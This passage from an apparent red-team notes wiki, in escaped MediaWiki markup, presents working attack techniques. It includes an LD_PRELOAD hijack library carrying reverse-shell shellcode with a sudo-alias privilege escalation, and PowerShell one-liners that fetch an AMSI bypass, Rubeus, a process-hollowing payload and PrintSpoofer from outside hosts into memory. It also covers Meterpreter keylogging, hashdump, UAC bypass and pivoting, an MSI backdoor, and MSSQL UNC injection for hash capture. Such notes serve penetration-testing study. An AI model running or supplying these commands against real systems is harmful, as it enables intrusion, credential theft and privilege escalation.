$ ltrace cp&lt;br /&gt;
strrchr(&amp;quot;cp&amp;quot;, &#039;/&#039;) = nil&lt;br /&gt;
...&lt;br /&gt;
geteuid() = 1000&lt;br /&gt;
getenv(&amp;quot;POSIXLY_CORRECT&amp;quot;) = nil&lt;br /&gt;
...&lt;br /&gt;
fflush(0x7f717f0c0680) = 0&lt;br /&gt;
fclose(0x7f717f0c0680) = 0&lt;br /&gt;
+++ exited (status 1) +++&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Creating a Malicious Shared Library&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Objective&#039;&#039;&#039;: Redefine the  ​geteuid​  function.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Code Sample&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#define _GNU_SOURCE&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
// To compile:&lt;br /&gt;
// gcc -Wall -fPIC -z execstack -c -o sharedLibrary_LD_PRELOAD.o sharedLibrary_LD_PRELOAD.c&lt;br /&gt;
// gcc -shared -o sharedLibrary_LD_PRELOAD.so sharedLibrary_LD_PRELOAD.o -ldl&lt;br /&gt;
// msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.67 LPORT=80 -f c&lt;br /&gt;
unsigned char buf[] =&lt;br /&gt;
&amp;quot;\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48&amp;quot;&lt;br /&gt;
&amp;quot;\xb9\x02\x00\x00\x50\xc0\xa8\x31\x43\x51\x48\x89\xe6\x6a\x10&amp;quot;&lt;br /&gt;
&amp;quot;\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58&amp;quot;&lt;br /&gt;
&amp;quot;\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f&amp;quot;&lt;br /&gt;
&amp;quot;\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05&amp;quot;;&lt;br /&gt;
uid_t geteuid(void)&lt;br /&gt;
{&lt;br /&gt;
        // Get the address of the original &#039;geteuid&#039; function&lt;br /&gt;
        typeof(geteuid) *old_geteuid;&lt;br /&gt;
        old_geteuid = dlsym(RTLD_NEXT, &amp;quot;geteuid&amp;quot;);&lt;br /&gt;
        // Fork a new thread based on the current one&lt;br /&gt;
        if (fork() == 0)&lt;br /&gt;
        {&lt;br /&gt;
                // Execute shellcode in the new thread&lt;br /&gt;
                intptr_t pagesize = sysconf(_SC_PAGESIZE);&lt;br /&gt;
                // Make memory executable (required in libs)&lt;br /&gt;
                if (mprotect((void *)(((intptr_t)buf) &amp;amp; ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) {&lt;br /&gt;
                        // Handle error&lt;br /&gt;
                        perror(&amp;quot;mprotect&amp;quot;);&lt;br /&gt;
                        return -1;&lt;br /&gt;
                }&lt;br /&gt;
                // Cast and execute&lt;br /&gt;
                int (*ret)() = (int(*)())buf;&lt;br /&gt;
                ret();&lt;br /&gt;
        }&lt;br /&gt;
        else&lt;br /&gt;
        {&lt;br /&gt;
                // Original thread, call the original function&lt;br /&gt;
                printf(&amp;quot;[Hijacked] Returning from function...\n&amp;quot;);&lt;br /&gt;
                return (*old_geteuid)();&lt;br /&gt;
        }&lt;br /&gt;
        // This shouldn&#039;t really execute&lt;br /&gt;
        printf(&amp;quot;[Hijacked] Returning from main...\n&amp;quot;);&lt;br /&gt;
        return -2;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Compilation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -z execstack -c -o evil_geteuid.o evileuid.c&lt;br /&gt;
gcc -shared -o sharedLibrary_LD_PRELOAD.so evil_geteuid.o -ldl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Triggering the Payload&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setup&#039;&#039;&#039;: Prepare a listener for the payload&#039;s callback.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execution without Preload&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cp /etc/passwd /tmp/testpasswd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setting LD_PRELOAD and Execution&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so&lt;br /&gt;
cp /etc/passwd /tmp/testpasswd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Privilege Escalation ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Clear LD_PRELOAD&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
unset LD_PRELOAD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Note&#039;&#039;&#039;: If EUID doesn’t match real UID (e.g., when using sudo), dynamic linker ignores LD_PRELOAD.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setting LD_PRELOAD with Sudo&#039;&#039;&#039;: Use an alias in  ​.bashrc​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
alias sudo=&amp;quot;sudo LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-13.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Reload &#039;&#039;&#039;&#039;&#039;&#039; &#039;&#039;&#039;&#039;&#039;&#039;​&#039;&#039;&#039;&#039;&#039;&#039;.bashrc&#039;&#039;&#039;&#039;&#039;&#039;​&#039;&#039;&#039;&#039;&#039;&#039; &#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
source ~/.bashrc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Now run the command&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /etc/passwd /tmp/passwd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-15.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Load Exe in Memory ==&lt;br /&gt;
&lt;br /&gt;
* To load an exe file to memory you have to have access to the source code in order to find out what the namespace is and the class.&lt;br /&gt;
&lt;br /&gt;
* Below are example of how to run &#039;&#039;&#039;Rubeus.exe &#039;&#039;&#039;in memory and run &#039;&#039;&#039;ProcessHollowing payload&#039;&#039;&#039; in memory and run &#039;&#039;&#039;Mimikatz &#039;&#039;&#039;from memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
##  Load Rubeus.exe to memory ##&lt;br /&gt;
# First disable AMSI&lt;br /&gt;
(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/amsi.txt&#039;) | IEX&lt;br /&gt;
# Download Rubeus into memory&lt;br /&gt;
$data = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.119.120/Rubeus.exe&#039;)&lt;br /&gt;
# Load it as an assembly&lt;br /&gt;
$assem = [System.Reflection.Assembly]::Load($data)&lt;br /&gt;
# Invoke a function&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;purge&amp;quot;.Split())&lt;br /&gt;
# Examples&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;s4u /user:web01$ /rc4:12343649cc8ce713962859a2934b8cbb /impersonateuser:administrator /msdsspn:cifs/file01 /ptt&amp;quot;.Split())&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;s4u /user:svc_file /rc4:08985D3B7B336B046AB92E0B2AAEEAF6 /impersonateuser:administrator /msdsspn:cifs/file02 /ptt&amp;quot;.Split())&lt;br /&gt;
# One liner&lt;br /&gt;
$data = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.49.79/Rubeus.exe&#039;);$assem = [System.Reflection.Assembly]::Load($data);[Rubeus.Program]::Main(&amp;quot;hash /password:Password123&amp;quot;.Split())&lt;br /&gt;
&lt;br /&gt;
---------------------------------------&lt;br /&gt;
## Run ProcessHollowing in memory ##&lt;br /&gt;
# Where Proc_hol is the namespace, and Program is the class.&lt;br /&gt;
$data2 = (New-Object System.Net.WebClient).DownloadData(&#039;http://92.221.186.47/proc_hol.exe&#039;);$assem = [System.Reflection.Assembly]::Load($data2);[Proc_hol.Program]::Main(&amp;quot;&amp;quot;.Split())&lt;br /&gt;
---------------------------------------&lt;br /&gt;
## Using Invoke-ReflectivePEInjection.ps1.&lt;br /&gt;
# See OneNote for correct version.&lt;br /&gt;
# Load PrintSpoofer in memory&lt;br /&gt;
(New-Object System.Net.WebClient).DownloadString(&#039;http://example.com/Invoke-ReflectivePEInjection.ps1&#039;) | IEX&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://example.com/PrintSpoofer.exe&#039;)&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ExeArgs &amp;quot;-i -c cmd&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Metasploit Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/@tanseejou97/tryhackme-metasploit-meterpreter-walkthrough-17e5bd9c0dc7#:~:text=POST-exploitation%20with%20Meterpreter%201%20Migrate%20migrate%20%5BPID%20of,locate%20files%20with%20potentially%20juice%20information.%204%20Shell [TryHackMe] Metasploit: Meterpreter — walkthrough | by Tanseejou | Medium]&lt;br /&gt;
&lt;br /&gt;
=== Metasploit Unleashed ===&lt;br /&gt;
&lt;br /&gt;
[https://www.offsec.com/metasploit-unleashed/ Metasploit Unleashed - Free Online Ethical Hacking Course | OffSec]&lt;br /&gt;
&lt;br /&gt;
== Running Metasploit as a Daemon ==&lt;br /&gt;
&lt;br /&gt;
To start Metasploit as a daemon, you need to run the msfd utility, which opens on port 55554 by default.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfd&lt;br /&gt;
[*] Initializing msfd...&lt;br /&gt;
[*] Running msfd...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To connect to the daemon, use netcat like the following example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/]&lt;br /&gt;
└─# nc 127.0.0.1 55554&lt;br /&gt;
  Metasploit Park, System Security Interface&lt;br /&gt;
  Version 4.0.5, Alpha E&lt;br /&gt;
  Ready...&lt;br /&gt;
  &amp;gt; access security&lt;br /&gt;
  access: PERMISSION DENIED.&lt;br /&gt;
  &amp;gt; access security grid&lt;br /&gt;
  access: PERMISSION DENIED.&lt;br /&gt;
  &amp;gt; access main security grid&lt;br /&gt;
  access: PERMISSION DENIED....and...&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
&lt;br /&gt;
       =[ metasploit v6.3.41-dev                          ]&lt;br /&gt;
+ -- --=[ 2371 exploits - 1230 auxiliary - 414 post       ]&lt;br /&gt;
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]&lt;br /&gt;
+ -- --=[ 9 evasion                                       ]&lt;br /&gt;
Metasploit Documentation: https://docs.metasploit.com/&lt;br /&gt;
[*] Starting persistent handler(s)...&lt;br /&gt;
msf6 &amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter MindMap ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Windows-Meterpreter][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Download]&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Commands ===&lt;br /&gt;
&lt;br /&gt;
* Source: [https://sergio-f20-notes.gitbook.io/hacking/8.-tunneling/c2-command-and-control/metasploit/meterpreter-commands Meterpreter Commands - Hacking (gitbook.io)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basics&lt;br /&gt;
help --&amp;gt; List available commands&lt;br /&gt;
sysinfo --&amp;gt; Displays system  info&lt;br /&gt;
getuid --&amp;gt; List current session owner&lt;br /&gt;
sessions -i 2 --&amp;gt; Change to session 2&lt;br /&gt;
shell --&amp;gt; Drop to interactive shell&lt;br /&gt;
channel -i 1 --&amp;gt; Change to shell in channel 1&lt;br /&gt;
background --&amp;gt; Background session to interact with msfconsole&lt;br /&gt;
upload {local path} {victim path} --&amp;gt; Upload a file&lt;br /&gt;
download {path} --&amp;gt; Download file&lt;br /&gt;
reg {Command} --&amp;gt; Interacts with registry (reg by itself will list syntax)&lt;br /&gt;
execute -f cmd.exe -i --&amp;gt; Execute cmd.exe and interact&lt;br /&gt;
execute -f cmd.exe -i -H -t --&amp;gt; Execute cmd as hidden process and with all tokens&lt;br /&gt;
# Powershell&lt;br /&gt;
load powershell&lt;br /&gt;
powershell_execute --&amp;gt; Execute a PowerShell statement, including complex-statements separated by semicolons&lt;br /&gt;
powershell_import --&amp;gt; Import a local PowerShell script to execute on the remote system over the Meterpreter channel&lt;br /&gt;
powershell_shell --&amp;gt; Launch an interactive PowerShell shell&lt;br /&gt;
powershell_session_remove --&amp;gt; Used to remove a PowerShell session when created using execute/import/shell with the -s argument&lt;br /&gt;
# Host Reconnaissance&lt;br /&gt;
# List running processes on a system&lt;br /&gt;
ps --&amp;gt; List processes&lt;br /&gt;
getpid --&amp;gt; List current PID&lt;br /&gt;
migrate {PID} --&amp;gt; Migrate to anothe PID&lt;br /&gt;
post/windows/manage/migrate --&amp;gt; Make meterpreter migrate to another process.&lt;br /&gt;
run service_manager -l --&amp;gt; Lists running services on Windows.&lt;br /&gt;
If we are against a non-interactive logon in which the explorer.exe process does not exist, we can create a hidden instance of notepad and migrate into it:&lt;br /&gt;
execute -H -f notepad&lt;br /&gt;
migrate {PID}&lt;br /&gt;
# Screenshots&lt;br /&gt;
screengrab --&amp;gt; Run plugin to capture screenshot of user session&lt;br /&gt;
# Keylogger&lt;br /&gt;
keyscan_start --&amp;gt; Start keylogger&lt;br /&gt;
keyscan_stop --&amp;gt; Stop keylogger&lt;br /&gt;
keyscan_dump --&amp;gt; Dump keylogger&lt;br /&gt;
# Privilege Escalation&lt;br /&gt;
getsystem --&amp;gt; Attempts to elevate privileges.&lt;br /&gt;
post/windows/gather/win_privs --&amp;gt; Determine privilege information.&lt;br /&gt;
exploit/windows/local/bypassuac_vbs --&amp;gt; Attempts to bypass UAC in order to escalate privileges.&lt;br /&gt;
windows/local/bypassuac_fodhelper --&amp;gt; Attempts to bypass UAC with fodhelper method, this should work w/ defender diasbled.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Post-Explotation with Meterpreter ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;help&amp;lt;/code&amp;gt;: List available commands.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Migrate&#039;&#039;&#039;: Migrate to another process with &amp;lt;code&amp;gt;migrate [PID]&amp;lt;/code&amp;gt;.&lt;br /&gt;
Used for: keystroke capturing (&amp;lt;code&amp;gt;keyscan_start&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;keyscan_stop&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;keyscan_dump&amp;lt;/code&amp;gt;) and ensuring session stability.&lt;br /&gt;
&lt;br /&gt;
* Caution: Migrating may lead to privilege loss.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Hashdump&#039;&#039;&#039;: Dump the SAM database containing NTLM-formatted passwords with &amp;lt;code&amp;gt;hashdump&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Search&#039;&#039;&#039;: Find files, e.g., &amp;lt;code&amp;gt;search -f flag2.txt&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Shell&#039;&#039;&#039;: Launch command shell on the target with &amp;lt;code&amp;gt;shell&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;search smb/psexec&amp;lt;/code&amp;gt; to search for a module.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;use [id]&amp;lt;/code&amp;gt; to use the module.&lt;br /&gt;
&lt;br /&gt;
* Set required fields using &amp;lt;code&amp;gt;set&amp;lt;/code&amp;gt; (e.g., &amp;lt;code&amp;gt;set RHOSTS [target-machine-ip]&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
* Confirm settings with &amp;lt;code&amp;gt;show options&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;run&amp;lt;/code&amp;gt; to start the exploit.&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Extensions ===&lt;br /&gt;
&lt;br /&gt;
[https://www.hackers-arise.com/post/2018/11/26/metasploit-basics-part-21-post-exploitation-with-mimikatz Metasploit Basics, Part 21: Capturing Credentials with mimikatz (hackers-arise.com)]&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;load kiwi&amp;lt;/code&amp;gt; - Load Mimikatz in current process&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;load incognito&amp;lt;/code&amp;gt; - Incognito is a tool which can be used for privilege escalation, typically from Local Administrator to Domain Administrator.&lt;br /&gt;
&lt;br /&gt;
*  &amp;lt;code&amp;gt;load powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;powershell_import PowerUp.ps1&amp;lt;/code&amp;gt; &amp;lt;-- from our local working dir.&lt;br /&gt;
&amp;lt;code&amp;gt;powershell_execute &amp;quot;Invoke-AllChecks&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter pivoting and Proxychains ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use autoroute module to create a pivot for the other network&lt;br /&gt;
use post/multi/manage/autoroute&lt;br /&gt;
set SUBNET 192.72.180.0&lt;br /&gt;
set SESSION 2&lt;br /&gt;
exploit&lt;br /&gt;
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.&lt;br /&gt;
use auxiliary/server/socks_proxy # Or try socks5&lt;br /&gt;
show options&lt;br /&gt;
set SRVPORT 9050&lt;br /&gt;
exploit&lt;br /&gt;
# Now you can use proxychains&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Portforward ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.offsec.com/metasploit-unleashed/portfwd/&lt;br /&gt;
# Add&lt;br /&gt;
# From the Meterpreter shell, the command is used in the following manner:&lt;br /&gt;
meterpreter &amp;gt; portfwd add –l 3389 –p 3389 –r  [target host]&lt;br /&gt;
# add will add the port forwarding to the list and will essentially create a tunnel for us. Please note, this tunnel will also exist outside the Metasploit console, making it available to any terminal session.&lt;br /&gt;
-l 3389 is the local port that will be listening and forwarded to our target. This can be any port on your machine, as long as it’s not already being used.&lt;br /&gt;
-p 3389 is the destination port on our targeting host.&lt;br /&gt;
-r [target host] is the our targeted system’s IP or hostname.&lt;br /&gt;
meterpreter &amp;gt; portfwd add –l 3389 –p 3389 –r 172.16.194.191&lt;br /&gt;
[*] Local TCP relay created: 0.0.0.0:3389 &amp;gt;-&amp;gt; 172.16.194.191:3389&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
Figure 2 Adding a port&lt;br /&gt;
# Delete&lt;br /&gt;
## Entries are deleted very much like the previous command. Once again from an active Meterpreter session, we would type the following:&lt;br /&gt;
meterpreter &amp;gt; portfwd delete –l 3389 –p 3389 –r [target host]&lt;br /&gt;
meterpreter &amp;gt; portfwd delete –l 3389 –p 3389 –r 172.16.194.191&lt;br /&gt;
[*] Successfully stopped TCP relay on 0.0.0.0:3389&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
# FLUSH: This argument will allow us to remove all the local port forward at once.&lt;br /&gt;
meterpreter &amp;gt; portfwd flush&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSI Backdoor ==&lt;br /&gt;
&lt;br /&gt;
If AlwaysInstalledElevated is set to one, you can elevate your privileges by backdooring an MSI installer.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper&lt;br /&gt;
Download exemsi --&amp;gt; https://www.exemsi.com/download/&lt;br /&gt;
# Follow the guide fom hacktrics.&lt;br /&gt;
&lt;br /&gt;
------------------&lt;br /&gt;
# If you have a meterpreter session&lt;br /&gt;
exploit/windows/local/always_install_elevated&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Good source ===&lt;br /&gt;
&lt;br /&gt;
[https://notes.vulndev.io/wiki/redteam/payloads/windows/mssql MSSQL - Notes (vulndev.io)]&lt;br /&gt;
&lt;br /&gt;
=== MSSQL Attacks ===&lt;br /&gt;
&lt;br /&gt;
==== Enumeration ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Extract all accounts in use as SPN using built in MS tools&lt;br /&gt;
setspn -T corp1 -Q MSSQLSvc/*&lt;br /&gt;
# Use GetUserSPNs.ps1&lt;br /&gt;
https://github.com/nidem/kerberoast&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Authentication using C# ====&lt;br /&gt;
&lt;br /&gt;
* This C# code is a simple program that connects to a SQL Server instance, checks if the connection is successful, and then retrieves and displays the current logged-in user. It also checks if the logged-in user is a member of the &#039;public&#039; server role and displays the result.&lt;br /&gt;
&lt;br /&gt;
* The term &amp;lt;code&amp;gt;Integrated Security = True;&amp;lt;/code&amp;gt; in a SQL Server connection string indicates that the connection should use Windows Authentication rather than SQL Server Authentication.&lt;br /&gt;
&lt;br /&gt;
* It&#039;s considered more secure than SQL Server Authentication because it uses the underlying Windows account mechanisms, including password policies, Kerberos, and NTLM.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String querylogin = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(querylogin, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Console.WriteLine(&amp;quot;Logged in as: &amp;quot; + reader[0]);&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            // Check public role&lt;br /&gt;
            String querypublicrole = &amp;quot;SELECT IS_SRVROLEMEMBER(&#039;public&#039;);&amp;quot;;&lt;br /&gt;
            command = new SqlCommand(querypublicrole, con);&lt;br /&gt;
            reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Int32 rolePublic = Int32.Parse(reader[0].ToString());&lt;br /&gt;
            if (rolePublic == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is a member of public role&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is NOT a member of public role&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            // Check sysadmin role&lt;br /&gt;
            String querySysAdminRole = &amp;quot;SELECT IS_SRVROLEMEMBER(&#039;sysadmin&#039;);&amp;quot;;&lt;br /&gt;
            command = new SqlCommand(querySysAdminRole, con);&lt;br /&gt;
            reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Int32 roleSysAdmin = Int32.Parse(reader[0].ToString());&lt;br /&gt;
            if (roleSysAdmin == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is a member of sysadmin&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is NOT a member of sysadmin&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== UNC Path Injection ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Attack Premise&#039;&#039;&#039;: Capture the hash of the user account under which the SQL server runs by making it connect to an SMB share.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# xp_dirtree SQL Procedure&lt;br /&gt;
#	• Function: Lists all files in a given folder.&lt;br /&gt;
#	• Special Feature: Can accept an SMB share as a target.&lt;br /&gt;
EXEC master..xp_dirtree &amp;quot;\\192.168.119.120\\test&amp;quot;;&lt;br /&gt;
# Responder Tool&lt;br /&gt;
#	• Function: Sets up an SMB share initiating NTLM authentication.&lt;br /&gt;
sudo responder -I tun0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below will authenticate to the SQL server and execute the xp_dirtree procedure. Remember to start &amp;lt;code&amp;gt;responder&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
